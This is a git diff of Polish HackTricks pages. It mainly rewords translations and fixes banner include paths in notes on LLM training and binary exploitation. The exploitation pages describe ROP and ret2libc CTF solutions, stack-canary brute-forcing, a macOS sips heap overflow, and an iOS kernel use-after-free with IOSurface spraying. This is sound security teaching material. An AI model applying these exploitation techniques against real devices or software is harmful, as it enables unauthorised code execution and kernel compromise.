Aby dostosować LLM do przestrzegania instrukcji, potrzebny jest zbiór danych z instrukcjami i odpowiedziami, aby dostosować LLM. Istnieją różne formaty do trenowania LLM w celu przestrzegania instrukcji, na przykład:
-- Przykład stylu promptu Apply Alpaca:
+- Przykład stylu prompt Apply Alpaca:
```csharp
Below is an instruction that describes a task. Write a response that appropriately completes the request.
@@ -101,4 +101,4 @@ You can find an example of the code to perform this fine tuning in [https://gith
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md
index 2f85c8dd3..97e6d7247 100644
--- a/src/AI/AI-llm-architecture/README.md
+++ b/src/AI/AI-llm-architecture/README.md
@@ -1,6 +1,6 @@
# LLM Training - Przygotowanie Danych
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
**To są moje notatki z bardzo polecanej książki** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **z dodatkowymi informacjami.**
@@ -15,7 +15,7 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia
## 1. Tokenizacja
> [!TIP]
-> Celem tej początkowej fazy jest bardzo proste: **Podzielić dane wejściowe na tokeny (id) w sposób, który ma sens**.
+> Cel tej początkowej fazy jest bardzo prosty: **Podzielić dane wejściowe na tokeny (id) w sposób, który ma sens**.
{{#ref}}
1.-tokenizing.md
@@ -24,7 +24,7 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia
## 2. Próbkowanie Danych
> [!TIP]
-> Celem tej drugiej fazy jest bardzo proste: **Próbkować dane wejściowe i przygotować je do fazy treningowej, zazwyczaj dzieląc zbiór danych na zdania o określonej długości i generując również oczekiwaną odpowiedź.**
+> Cel tej drugiej fazy jest bardzo prosty: **Próbkować dane wejściowe i przygotować je do fazy treningowej, zazwyczaj dzieląc zbiór danych na zdania o określonej długości i generując również oczekiwaną odpowiedź.**
{{#ref}}
2.-data-sampling.md
@@ -33,10 +33,10 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia
## 3. Osadzenia Tokenów
> [!TIP]
-> Celem tej trzeciej fazy jest bardzo proste: **Przypisać każdemu z poprzednich tokenów w słowniku wektor o pożądanych wymiarach do trenowania modelu.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
-> Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu "losowo" inicjowana, a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu).
+> Cel tej trzeciej fazy jest bardzo prosty: **Przypisać każdemu z poprzednich tokenów w słowniku wektor o pożądanych wymiarach do trenowania modelu.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
+> Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu inicjowana "losowo", a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu).
>
-> Ponadto, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało różne reprezentacje (znaczenie).
+> Ponadto, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało różne reprezentacje (znaczenia).
{{#ref}}
3.-token-embeddings.md
@@ -45,7 +45,7 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia
## 4. Mechanizmy Uwagowe
> [!TIP]
-> Celem tej czwartej fazy jest bardzo proste: **Zastosować pewne mechanizmy uwagi**. Będą to liczne **powtarzające się warstwy**, które będą **uchwytywać relację słowa w słowniku z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\
+> Cel tej czwartej fazy jest bardzo prosty: **Zastosować pewne mechanizmy uwagi**. Będą to liczne **powtarzające się warstwy**, które będą **uchwytywać relację słowa w słowniku z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\
> Do tego celu używa się wielu warstw, więc wiele parametrów do trenowania będzie uchwytywać te informacje.
{{#ref}}
@@ -55,7 +55,7 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia
## 5. Architektura LLM
> [!TIP]
-> Celem tej piątej fazy jest bardzo proste: **Opracować architekturę całego LLM**. Połączyć wszystko, zastosować wszystkie warstwy i stworzyć wszystkie funkcje do generowania tekstu lub przekształcania tekstu na ID i odwrotnie.
+> Cel tej piątej fazy jest bardzo prosty: **Opracować architekturę całego LLM**. Połączyć wszystko, zastosować wszystkie warstwy i stworzyć wszystkie funkcje do generowania tekstu lub przekształcania tekstu na ID i odwrotnie.
>
> Ta architektura będzie używana zarówno do treningu, jak i przewidywania tekstu po jego wytrenowaniu.
@@ -66,16 +66,16 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia
## 6. Wstępne trenowanie i ładowanie modeli
> [!TIP]
-> Celem tej szóstej fazy jest bardzo proste: **Wytrenować model od podstaw**. W tym celu zostanie użyta wcześniejsza architektura LLM z pewnymi pętlami przechodzącymi przez zbiory danych, korzystając z określonych funkcji straty i optymalizatora do trenowania wszystkich parametrów modelu.
+> Cel tej szóstej fazy jest bardzo prosty: **Wytrenować model od podstaw**. W tym celu zostanie użyta wcześniejsza architektura LLM z pewnymi pętlami przechodzącymi przez zbiory danych, korzystając z zdefiniowanych funkcji straty i optymalizatora do trenowania wszystkich parametrów modelu.
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
-## 7.0. Ulepszenia LoRA w fine-tuningu
+## 7.0. Udoskonalenia LoRA w fine-tuningu
> [!TIP]
-> Użycie **LoRA znacznie zmniejsza obliczenia** potrzebne do **dostosowania** już wytrenowanych modeli.
+> Użycie **LoRA znacznie redukuje obliczenia** potrzebne do **fine-tuningu** już wytrenowanych modeli.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
@@ -99,4 +99,4 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md
index 11f28b2aa..37a69920c 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/README.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md
@@ -1,3 +1,3 @@
# Arbitrary Write 2 Exec
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
index fb5f60006..779c0633d 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
@@ -16,7 +16,7 @@ if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
}
```
-Tylko sprawdzany jest `offsetToCLUT <= totalDataLength`. Ustawiając `offsetToCLUT == tagDataSize`, pętla indeksuje do 16 bajtów poza końcem `buffer`, psując sąsiednie metadane sterty.
+Tylko sprawdzenie `offsetToCLUT <= totalDataLength` jest wykonywane. Ustawiając `offsetToCLUT == tagDataSize`, pętla indeksuje do 16 bajtów poza końcem `buffer`, psując sąsiednie metadane sterty.
## Kroki Eksploatacji
@@ -45,9 +45,9 @@ Udana eksploatacja skutkuje zdalnym wykonaniem dowolnego kodu z uprawnieniami u
## Odniesienia
-- ZDI blog: CVE-2024-44236: Remote Code Execution Vulnerability in Apple macOS sips Utility
+- ZDI blog: CVE-2024-44236: Zdalna podatność na wykonanie kodu w narzędziu Apple macOS sips
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
-- Apple October 2024 Security Update (patch shipping CVE-2024-44236)
+- Aktualizacja zabezpieczeń Apple z października 2024 (łatka naprawiająca CVE-2024-44236)
https://support.apple.com/en-us/121564
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md
index 245c15844..b72b43ade 100644
--- a/src/binary-exploitation/array-indexing.md
+++ b/src/binary-exploitation/array-indexing.md
@@ -6,15 +6,15 @@
Ta kategoria obejmuje wszystkie luki, które występują, ponieważ możliwe jest nadpisanie pewnych danych przez błędy w obsłudze indeksów w tablicach. To bardzo szeroka kategoria bez konkretnej metodologii, ponieważ mechanizm eksploatacji całkowicie zależy od warunków luki.
-Jednakże możesz znaleźć kilka ładnych **przykładów**:
+Jednakże można znaleźć kilka ładnych **przykładów**:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
-- Istnieją **2 kolidujące tablice**, jedna dla **adresów**, gdzie przechowywane są dane, a druga z **rozmiarami** tych danych. Możliwe jest nadpisanie jednego z drugim, co umożliwia zapisanie dowolnego adresu wskazując go jako rozmiar. To pozwala na zapisanie adresu funkcji `free` w tabeli GOT, a następnie nadpisanie go adresem do `system`, i wywołanie free z pamięci z `/bin/sh`.
+- Istnieją **2 kolidujące tablice**, jedna dla **adresów**, gdzie przechowywane są dane, a druga z **rozmiarami** tych danych. Możliwe jest nadpisanie jednego z drugiego, co umożliwia zapisanie dowolnego adresu, wskazując go jako rozmiar. To pozwala na zapisanie adresu funkcji `free` w tabeli GOT, a następnie nadpisanie go adresem do `system` i wywołanie free z pamięci z `/bin/sh`.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
-- 64 bity, brak nx. Nadpisz rozmiar, aby uzyskać rodzaj przepełnienia bufora, gdzie wszystko będzie używane jako podwójna liczba i sortowane od najmniejszej do największej, więc konieczne jest stworzenie shellcode, który spełnia ten wymóg, biorąc pod uwagę, że kanarek nie powinien być przesuwany z jego pozycji, a na końcu nadpisując RIP adresem do ret, który spełnia wcześniejsze wymagania i umieszczając największy adres jako nowy adres wskazujący na początek stosu (ujawniony przez program), aby można było użyć ret do skoku tam.
+- 64 bity, brak nx. Nadpisanie rozmiaru, aby uzyskać rodzaj przepełnienia bufora, gdzie wszystko będzie używane jako podwójna liczba i sortowane od najmniejszego do największego, więc konieczne jest stworzenie shellcode, który spełnia ten wymóg, biorąc pod uwagę, że kanarek nie powinien być przesuwany z jego pozycji, a na koniec nadpisanie RIP adresem do ret, który spełnia wcześniejsze wymagania i umieszczenie największego adresu jako nowego adresu wskazującego na początek stosu (ujawnionego przez program), aby można było użyć ret do skoku tam.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
-- 64 bity, brak relro, kanarek, nx, brak pie. Istnieje off-by-one w tablicy na stosie, który pozwala na kontrolowanie wskaźnika, przyznając WWW (zapisuje sumę wszystkich liczb w tablicy w nadpisanym adresie przez off-by-one w tablicy). Stos jest kontrolowany, więc adres GOT `exit` jest nadpisywany `pop rdi; ret`, a na stosie dodawany jest adres do `main` (powracając do `main`). Używana jest łańcuch ROP do ujawnienia adresu put w GOT przy użyciu puts (`exit` zostanie wywołany, więc wywoła `pop rdi; ret`, wykonując ten łańcuch na stosie). Na koniec używany jest nowy łańcuch ROP wykonujący ret2lib.
+- 64 bity, brak relro, kanarek, nx, brak pie. Istnieje off-by-one w tablicy na stosie, który pozwala na kontrolowanie wskaźnika, przyznając WWW (zapisuje sumę wszystkich liczb w tablicy w nadpisanym adresie przez off-by-one w tablicy). Stos jest kontrolowany, więc adres GOT `exit` jest nadpisywany `pop rdi; ret`, a na stosie dodawany jest adres do `main` (powracając do `main`). Następnie używana jest łańcuch ROP do ujawnienia adresu put w GOT za pomocą puts (`exit` zostanie wywołany, więc wywoła `pop rdi; ret`, a zatem wykonując ten łańcuch na stosie). Na koniec używany jest nowy łańcuch ROP wykonujący ret2lib.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
-- 32 bity, brak relro, brak kanarka, nx, pie. Wykorzystaj złe indeksowanie, aby ujawnić adresy libc i heap z stosu. Wykorzystaj przepełnienie bufora, aby wykonać ret2lib wywołując `system('/bin/sh')` (adres heap jest potrzebny, aby obejść sprawdzenie).
+- 32 bity, brak relro, brak kanarka, nx, pie. Wykorzystanie złego indeksowania do ujawnienia adresów libc i heap z stosu. Wykorzystanie przepełnienia bufora do wykonania ret2lib wywołując `system('/bin/sh')` (adres heap jest potrzebny do ominięcia sprawdzenia).
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index ac06e3352..561f743ee 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -12,9 +12,9 @@
## Brute force Canary
-Najlepszym sposobem na obejście prostego canary jest, gdy binarny plik to program **forkujący procesy potomne za każdym razem, gdy nawiązujesz z nim nowe połączenie** (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, **używany jest ten sam canary**.
+Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik to program **forkujący procesy potomne za każdym razem, gdy nawiązujesz nowe połączenie** z nim (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, **używany będzie ten sam canary**.
-Najlepszym sposobem na obejście canary jest po prostu **brute-force'owanie go znak po znaku**, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swój normalny przebieg. W tym przykładzie funkcja **brute-forcuje 8-bajtowy canary (x64)** i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu **sprawdzając**, czy **odpowiedź** jest wysyłana z serwera (innym sposobem w **innej sytuacji** może być użycie **try/except**):
+Najlepszym sposobem na obejście canary jest po prostu **brute-force'owanie go znak po znaku**, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swój regularny przepływ. W tym przykładzie funkcja **brute-force'uje 8-bajtowy canary (x64)** i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu **sprawdzając**, czy **odpowiedź** jest wysyłana z serwera (innym sposobem w **innej sytuacji** może być użycie **try/except**):
### Example 1
@@ -109,7 +109,7 @@ Ponadto, **przepełnienie bufora w funkcji wątkowej** chronionej canary mogłob
W rezultacie, łagodzenie jest bezużyteczne, ponieważ sprawdzenie jest używane z dwoma canary, które są takie same (choć zmodyfikowane).\
Ten atak jest opisany w artykule: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-Sprawdź również prezentację [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), która wspomina, że zazwyczaj **TLS** jest przechowywany przez **`mmap`**, a gdy **stos** **wątku** jest tworzony, jest również generowany przez `mmap`, co może umożliwić przepełnienie, jak pokazano w poprzednim artykule.
+Sprawdź również prezentację [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), która wspomina, że zazwyczaj **TLS** jest przechowywany przez **`mmap`**, a gdy tworzony jest **stos** **wątku**, jest również generowany przez `mmap`, co może umożliwić przepełnienie, jak pokazano w poprzednim artykule.
## Inne przykłady i odniesienia
@@ -119,4 +119,4 @@ Sprawdź również prezentację [https://www.slideshare.net/codeblue_jp/master-c
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md
index e5634c13d..e585a1ce6 100644
--- a/src/binary-exploitation/ios-exploiting.md
+++ b/src/binary-exploitation/ios-exploiting.md
@@ -1,10 +1,10 @@
# iOS Exploiting
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
## Fizyczne użycie po zwolnieniu
-To jest podsumowanie z posta z [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), ponadto dalsze informacje o exploicie wykorzystującym tę technikę można znaleźć w [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
+To jest podsumowanie z posta z [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), ponadto dalsze informacje na temat wykorzystania tej techniki można znaleźć w [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Zarządzanie pamięcią w XNU
@@ -16,29 +16,29 @@ Tabele stron są zorganizowane hierarchicznie w trzech poziomach:
1. **Tabela stron L1 (Poziom 1)**:
* Każdy wpis tutaj reprezentuje duży zakres pamięci wirtualnej.
-* Obejmuje **0x1000000000 bajtów** (lub **256 GB**) pamięci wirtualnej.
+* Pokrywa **0x1000000000 bajtów** (lub **256 GB**) pamięci wirtualnej.
2. **Tabela stron L2 (Poziom 2)**:
* Wpis tutaj reprezentuje mniejszy obszar pamięci wirtualnej, konkretnie **0x2000000 bajtów** (32 MB).
* Wpis L1 może wskazywać na tabelę L2, jeśli nie może samodzielnie zmapować całego obszaru.
3. **Tabela stron L3 (Poziom 3)**:
-* To najdrobniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci **4 KB**.
+* To jest najdrobniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci **4 KB**.
* Wpis L2 może wskazywać na tabelę L3, jeśli potrzebna jest bardziej szczegółowa kontrola.
#### Mapowanie pamięci wirtualnej na fizyczną
* **Bezpośrednie mapowanie (Mapowanie blokowe)**:
* Niektóre wpisy w tabeli stron bezpośrednio **mapują zakres adresów wirtualnych** na ciągły zakres adresów fizycznych (jak skrót).
-* **Wskaźnik do podrzędnej tabeli stron**:
-* Jeśli potrzebna jest dokładniejsza kontrola, wpis na jednym poziomie (np. L1) może wskazywać na **podrzędną tabelę stron** na następnym poziomie (np. L2).
+* **Wskaźnik do tabeli stron podrzędnych**:
+* Jeśli potrzebna jest dokładniejsza kontrola, wpis na jednym poziomie (np. L1) może wskazywać na **tabelę stron podrzędnych** na następnym poziomie (np. L2).
#### Przykład: Mapowanie adresu wirtualnego
Załóżmy, że próbujesz uzyskać dostęp do adresu wirtualnego **0x1000000000**:
1. **Tabela L1**:
-* Jądro sprawdza wpis w tabeli stron L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma **wskaźnik do tabeli L2**, przechodzi do tej tabeli L2.
+* Jądro sprawdza wpis w tabeli stron L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma **wskaźnik do tabeli stron L2**, przechodzi do tej tabeli L2.
2. **Tabela L2**:
-* Jądro sprawdza tabelę L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli ten wpis wskazuje na **tabelę L3**, przechodzi tam.
+* Jądro sprawdza tabelę stron L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli ten wpis wskazuje na **tabelę stron L3**, przechodzi tam.
3. **Tabela L3**:
* Jądro przeszukuje końcowy wpis L3, który wskazuje na **adres fizyczny** rzeczywistej strony pamięci.
@@ -58,9 +58,9 @@ Alternatywnie, jeśli wpis L2 wskazuje na tabelę L3:
**Fizyczne użycie po zwolnieniu** (UAF) występuje, gdy:
1. Proces **alokuje** pewną pamięć jako **czytelną i zapisywalną**.
-2. **Tabele stron** są aktualizowane, aby zmapować tę pamięć do konkretnego adresu fizycznego, do którego proces ma dostęp.
+2. **Tabele stron** są aktualizowane, aby mapować tę pamięć do konkretnego adresu fizycznego, do którego proces ma dostęp.
3. Proces **zwalnia** (uwalnia) pamięć.
-4. Jednak z powodu **błędu**, jądro **zapomina usunąć mapowanie** z tabel stron, mimo że oznacza odpowiadającą pamięć fizyczną jako wolną.
+4. Jednak z powodu **błędu** jądro **zapomina usunąć mapowanie** z tabel stron, mimo że oznacza odpowiadającą pamięć fizyczną jako wolną.
5. Jądro może następnie **ponownie przydzielić tę "zwolnioną" pamięć fizyczną** do innych celów, takich jak **dane jądra**.
6. Ponieważ mapowanie nie zostało usunięte, proces może nadal **czytać i pisać** do tej pamięci fizycznej.
@@ -82,7 +82,7 @@ Więcej informacji na ten temat w [https://github.com/felix-pb/kfd/tree/main/wri
1. **Spray obiektów IOSurface**: Atakujący tworzy wiele obiektów IOSurface z specjalnym identyfikatorem ("magiczna wartość").
2. **Skanowanie zwolnionych stron**: Sprawdzają, czy którykolwiek z obiektów został przydzielony na zwolnionej stronie.
3. **Czytanie/Pisanie pamięci jądra**: Manipulując polami w obiekcie IOSurface, uzyskują możliwość wykonywania **dowolnych odczytów i zapisów** w pamięci jądra. To pozwala im:
-* Używać jednego pola do **czytania dowolnej 32-bitowej wartości** w pamięci jądra.
+* Używać jednego pola do **czytania dowolnej wartości 32-bitowej** w pamięci jądra.
* Używać innego pola do **zapisywania wartości 64-bitowych**, osiągając stabilny **prymityw odczytu/zapisu jądra**.
Generuj obiekty IOSurface z magiczną wartością IOSURFACE_MAGIC, aby później je wyszukiwać:
@@ -140,7 +140,7 @@ free(surfaceIDs);
return 0;
}
```
-### Osiąganie odczytu/zapisu jądra z IOSurface
+### Osiąganie odczytu/zapisu w jądrze z IOSurface
Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (mapowanym na zwolnioną stronę fizyczną dostępną z przestrzeni użytkownika), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**.
@@ -149,11 +149,11 @@ Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (mapowanym na zwo
Obiekt IOSurface ma dwa kluczowe pola:
1. **Wskaźnik liczby użyć**: Umożliwia **odczyt 32-bitowy**.
-2. **Wskaźnik znaczników indeksowanych**: Umożliwia **zapis 64-bitowy**.
+2. **Wskaźnik znaczników czasowych**: Umożliwia **zapis 64-bitowy**.
-Przez nadpisanie tych wskaźników, przekierowujemy je do dowolnych adresów w pamięci jądra, co umożliwia operacje odczytu/zapisu.
+Poprzez nadpisanie tych wskaźników, przekierowujemy je do dowolnych adresów w pamięci jądra, co umożliwia operacje odczytu/zapisu.
-#### Odczyt jądra 32-bitowy
+#### Odczyt 32-bitowy w jądrze
Aby wykonać odczyt:
@@ -198,11 +198,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
#### Podsumowanie przepływu exploitów
1. **Wywołaj fizyczne Use-After-Free**: Zwolnione strony są dostępne do ponownego użycia.
-2. **Spray obiektów IOSurface**: Przydziel wiele obiektów IOSurface z unikalną "magic value" w pamięci jądra.
+2. **Spray obiektów IOSurface**: Przydziel wiele obiektów IOSurface z unikalną "magiczną wartością" w pamięci jądra.
3. **Zidentyfikuj dostępny IOSurface**: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz.
4. **Wykorzystaj Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić dowolne **odczyty/zapisy jądra** za pomocą metod IOSurface.
Dzięki tym prymitywom, exploit zapewnia kontrolowane **odczyty 32-bitowe** i **zapisy 64-bitowe** do pamięci jądra. Dalsze kroki jailbreak mogą obejmować bardziej stabilne prymitywy odczytu/zapisu, które mogą wymagać ominięcia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md
index 7a575d240..df7c6612d 100644
--- a/src/binary-exploitation/libc-heap/README.md
+++ b/src/binary-exploitation/libc-heap/README.md
@@ -1,8 +1,8 @@
# Libc Heap
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
-## Podstawy Heap
+## Podstawy Heaps
Heap to zasadniczo miejsce, w którym program może przechowywać dane, gdy żąda danych, wywołując funkcje takie jak **`malloc`**, `calloc`... Ponadto, gdy ta pamięć nie jest już potrzebna, jest udostępniana poprzez wywołanie funkcji **`free`**.
@@ -12,47 +12,47 @@ Jak pokazano, znajduje się tuż po załadowaniu binariów do pamięci (sprawdź
### Podstawowa Alokacja Chunków
-Gdy żądane są dane do przechowania w heap, przydzielana jest mu pewna przestrzeń. Ta przestrzeń będzie należała do binu, a tylko żądane dane + przestrzeń nagłówków binów + minimalny offset rozmiaru binu będą zarezerwowane dla chunku. Celem jest zarezerwowanie jak najmniejszej pamięci, nie komplikując jednocześnie znalezienia, gdzie znajduje się każdy chunk. W tym celu używane są informacje o metadanych chunków, aby wiedzieć, gdzie znajduje się każdy używany/wolny chunk.
+Gdy żądane są dane do przechowania w heapie, przydzielana jest mu pewna przestrzeń. Ta przestrzeń będzie należała do binu, a tylko żądane dane + przestrzeń nagłówków binów + minimalny offset rozmiaru binu będą zarezerwowane dla chunku. Celem jest zarezerwowanie jak najmniejszej ilości pamięci, nie komplikując jednocześnie znalezienia, gdzie znajduje się każdy chunk. W tym celu używane są informacje o metadanych chunków, aby wiedzieć, gdzie znajduje się każdy używany/wolny chunk.
Istnieją różne sposoby rezerwacji przestrzeni, głównie w zależności od używanego binu, ale ogólna metodologia jest następująca:
- Program zaczyna od żądania określonej ilości pamięci.
- Jeśli na liście chunków znajduje się dostępny chunk wystarczająco duży, aby zaspokoić żądanie, zostanie użyty.
- Może to nawet oznaczać, że część dostępnego chunku zostanie użyta do tego żądania, a reszta zostanie dodana do listy chunków.
-- Jeśli na liście nie ma dostępnego chunku, ale w przydzielonej pamięci heap jest jeszcze miejsce, menedżer heap tworzy nowy chunk.
-- Jeśli nie ma wystarczającej przestrzeni w heap, aby przydzielić nowy chunk, menedżer heap prosi jądro o rozszerzenie pamięci przydzielonej do heap, a następnie używa tej pamięci do wygenerowania nowego chunku.
+- Jeśli na liście nie ma dostępnego chunku, ale w przydzielonej pamięci heapowej wciąż jest miejsce, menedżer heapów tworzy nowy chunk.
+- Jeśli nie ma wystarczającej ilości miejsca w heapie, menedżer heapów prosi jądro o rozszerzenie pamięci przydzielonej do heapu, a następnie używa tej pamięci do wygenerowania nowego chunku.
- Jeśli wszystko zawiedzie, `malloc` zwraca null.
Zauważ, że jeśli żądana **pamięć przekracza próg**, **`mmap`** zostanie użyty do mapowania żądanej pamięci.
## Areny
-W **aplikacjach wielowątkowych** menedżer heap musi zapobiegać **warunkom wyścigu**, które mogą prowadzić do awarii. Początkowo robiono to za pomocą **globalnego mutexa**, aby zapewnić, że tylko jeden wątek może uzyskać dostęp do heap w danym czasie, ale spowodowało to **problemy z wydajnością** z powodu wąskiego gardła spowodowanego mutexem.
+W **aplikacjach wielowątkowych** menedżer heapów musi zapobiegać **warunkom wyścigu**, które mogą prowadzić do awarii. Początkowo robiono to za pomocą **globalnego mutexa**, aby zapewnić, że tylko jeden wątek może uzyskać dostęp do heapu w danym czasie, ale spowodowało to **problemy z wydajnością** z powodu wąskiego gardła spowodowanego mutexem.
-Aby to rozwiązać, alokator heap ptmalloc2 wprowadził "areny", gdzie **każda arena** działa jako **osobny heap** z **własnymi** strukturami **danymi** i **mutexem**, co pozwala wielu wątkom na wykonywanie operacji na heap bez zakłócania się nawzajem, o ile używają różnych aren.
+Aby to rozwiązać, alokator heapów ptmalloc2 wprowadził "areny", gdzie **każda arena** działa jako **osobny heap** z **własnymi** strukturami **danymi** i **mutexem**, co pozwala wielu wątkom na wykonywanie operacji na heapie bez zakłócania się nawzajem, o ile używają różnych aren.
-Domyślna arena "główna" obsługuje operacje na heap dla aplikacji jednowątkowych. Gdy **nowe wątki** są dodawane, menedżer heap przypisuje im **wtórne areny**, aby zmniejszyć kontencję. Najpierw próbuje podłączyć każdy nowy wątek do nieużywanej areny, tworząc nowe, jeśli to konieczne, do limitu 2 razy liczby rdzeni CPU dla systemów 32-bitowych i 8 razy dla systemów 64-bitowych. Gdy limit zostanie osiągnięty, **wątki muszą dzielić areny**, co prowadzi do potencjalnej kontencji.
+Domyślna arena "główna" obsługuje operacje na heapie dla aplikacji jednowątkowych. Gdy **nowe wątki** są dodawane, menedżer heapów przypisuje im **wtórne areny**, aby zmniejszyć kontencję. Najpierw próbuje podłączyć każdy nowy wątek do nieużywanej areny, tworząc nowe, jeśli to konieczne, do limitu 2 razy liczby rdzeni CPU dla systemów 32-bitowych i 8 razy dla systemów 64-bitowych. Gdy limit zostanie osiągnięty, **wątki muszą dzielić areny**, co prowadzi do potencjalnej kontencji.
-W przeciwieństwie do głównej areny, która rozszerza się za pomocą wywołania systemowego `brk`, wtórne areny tworzą "subheapy" za pomocą `mmap` i `mprotect`, aby symulować zachowanie heap, co pozwala na elastyczne zarządzanie pamięcią dla operacji wielowątkowych.
